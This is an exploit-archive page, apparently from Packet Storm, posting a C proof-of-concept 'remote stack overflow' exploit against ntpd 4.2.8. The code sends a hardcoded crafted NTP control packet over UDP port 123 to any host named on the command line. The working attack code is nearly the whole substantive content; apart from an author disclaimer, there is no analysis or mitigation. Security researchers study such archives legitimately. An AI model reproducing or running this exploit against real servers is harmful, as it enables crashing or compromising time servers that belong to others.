exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ntpd 4.2.8 Stack Overflow Proof Of Concept

ntpd 4.2.8 Stack Overflow Proof Of Concept
Posted Nov 30, 2016
Authored by N_A

Remote ntpd version 4.2.8 stack overflow proof of concept exploit.

tags | exploit, remote, overflow, proof of concept
SHA-256 | d236563023f74672a9096c635e4f48e9f46e8f7d2d35e973eaa6881d3a7148eb

ntpd 4.2.8 Stack Overflow Proof Of Concept

Change Mirror Download
/*

Remote ntpd 4.2.8 Stack Over Flow Proof Of Concept Exploit by N_A , N_A[at]tutanota.com
Please use this code to test your own servers. Do not break the law. Do not misuse. I am not responsible for any
misuse of this code


N_A[at]tutanota.com

*/




#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <errno.h>
#include <netinet/in.h>
#include <string.h>
#include <netdb.h>


#define PORT 123 /* change if needed */


/* & nonce exploit packet , Todor Donev */
char packet[] ="\x26\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x6e\x6f\x6e\x63\x65\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61";



void err(char *msg);

int main(int argc, char *argv[])

{
int sockfd,n;

struct sockaddr_in vuln;
struct hostent *server;

char *hostname;

if(argc != 2)
{
printf("==================================================\n");
printf("\tntpd 4.2.8 remote stack overflow exploit\n");
printf("\t\tBy N_A\n");
printf("\tUSAGE: %s [HOST]\n", argv[0]);
printf("\t%s 127.0.0.1\n", argv[0]);
printf("==================================================\n");
return EXIT_FAILURE;
}


hostname = argv[1];
server = gethostbyname(hostname);

if( server == NULL )
{
err("gethostbyname");
}


if ((sockfd = socket(AF_INET,SOCK_DGRAM,0)) < 0 )
{
err("socket()");
}

printf("\n[*]UDP socket() successful\n");

bzero((char *)&vuln,sizeof(vuln));
vuln.sin_family = AF_INET;
bcopy((char *)server->h_addr,(char *)&vuln.sin_addr.s_addr,server->h_length);
vuln.sin_port = htons(PORT);

if((n = sendto(sockfd,packet,strlen(packet),0,(struct sockaddr *)&vuln,sizeof(vuln))) < 0 )
{
err("sendto()");
}

printf("\n\n=============================\n");
printf("\nPacket sent to server!\n");
printf("=============================\n\n");

return EXIT_SUCCESS;
}



void err(char *msg)
{
perror(msg);
exit(0);
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close